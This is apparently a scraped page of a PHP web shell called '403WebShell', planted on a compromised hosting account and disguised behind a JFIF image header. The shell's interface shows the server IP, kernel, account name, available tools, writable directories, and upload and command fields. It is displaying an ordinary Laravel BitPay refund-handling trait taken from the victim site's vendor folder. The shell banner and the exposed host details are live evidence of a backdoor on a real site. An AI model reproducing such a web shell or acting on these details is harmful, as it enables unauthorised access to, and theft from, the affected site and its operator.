����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.16.48.173
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/vrajroham/laravel-bitpay/src/Actions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/vrajroham/laravel-bitpay/src/Actions/ManageRefunds.php
<?php

namespace Vrajroham\LaravelBitpay\Actions;

use BitPaySDK\Exceptions\BitPayException;
use BitPaySDK\Exceptions\RefundCancellationException;
use BitPaySDK\Model\Invoice\Invoice;
use BitPaySDK\Model\Invoice\Refund;


trait ManageRefunds
{

    /**
     * Get BitPay refund instance.
     *
     * @return Refund
     */
    public static function Refund(): Refund
    {
        return new Refund();
    }

    /**
     * Create a BitPay refund.
     *
     * @link https://bitpay.com/api/#rest-api-resources-invoices-refund-an-invoice
     *
     * @param $invoice          Invoice A BitPay invoice object for which a refund request should be made.  Must have
     *                          been obtained using the merchant facade.
     * @param $refundEmail      string The email of the buyer to which the refund email will be sent
     * @param $amount           float The amount of money to refund. If zero then a request for 100% of the invoice
     *                          value is created.
     * @param $currency         string The three digit currency code specifying the exchange rate to use when
     *                          calculating the refund bitcoin amount. If this value is "BTC" then no exchange rate
     *                          calculation is performed.
     *
     * @return bool True if the refund was successfully created, false otherwise.
     * @throws BitPayException BitPayException class
     */
    public static function createRefund(
        Invoice $invoice,
        string  $refundEmail,
        float   $amount,
        string  $currency
    ): bool {
        return (new self())->client->createRefund($invoice, $refundEmail, $amount, $currency);
    }

    /**
     * Retrieve all refund requests on a BitPay invoice.
     *
     * @link https://bitpay.com/api/#rest-api-resources-invoices-retrieve-all-refund-requests-on-an-invoice
     *
     * @param $invoice  Invoice The BitPay invoice having the associated refunds.
     *
     * @return Refund[] An array of BitPay refund object with the associated Refund object updated.
     * @throws BitPayException BitPayException class
     */
    public static function getRefunds(Invoice $invoice): array
    {
        return (new self())->client->getRefunds($invoice);
    }

    /**
     * Retrieve a previously made refund request on a BitPay invoice.
     *
     * @link https://bitpay.com/api/#rest-api-resources-invoices-retrieve-a-refund-request
     *
     * @param $invoice  Invoice The BitPay invoice having the associated refund.
     * @param $refundId string The refund id for the refund to be updated with new status.
     *
     * @return Refund A BitPay refund object with the associated Refund object updated.
     * @throws BitPayException BitPayException class
     */
    public static function getRefund(Invoice $invoice, string $refundId): Refund
    {
        return (new self())->client->getRefund($invoice, $refundId);
    }

    /**
     * Cancel a previously submitted refund request on a BitPay invoice.
     *
     * @link https://bitpay.com/api/#rest-api-resources-invoices-cancel-a-refund-request
     *
     * @param $invoiceId string The refund id for the refund to be canceled.
     * @param $refund    Refund The BitPay invoice having the associated refund to be canceled.
     *                   Must have been obtained using the merchant facade.
     *
     * @return bool True if the refund was successfully canceled, false otherwise.
     * @throws RefundCancellationException RefundCancellationException class
     */
    public static function cancelRefund(string $invoiceId, Refund $refund): bool
    {
        return (new self())->client->cancelRefund($invoiceId, $refund);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit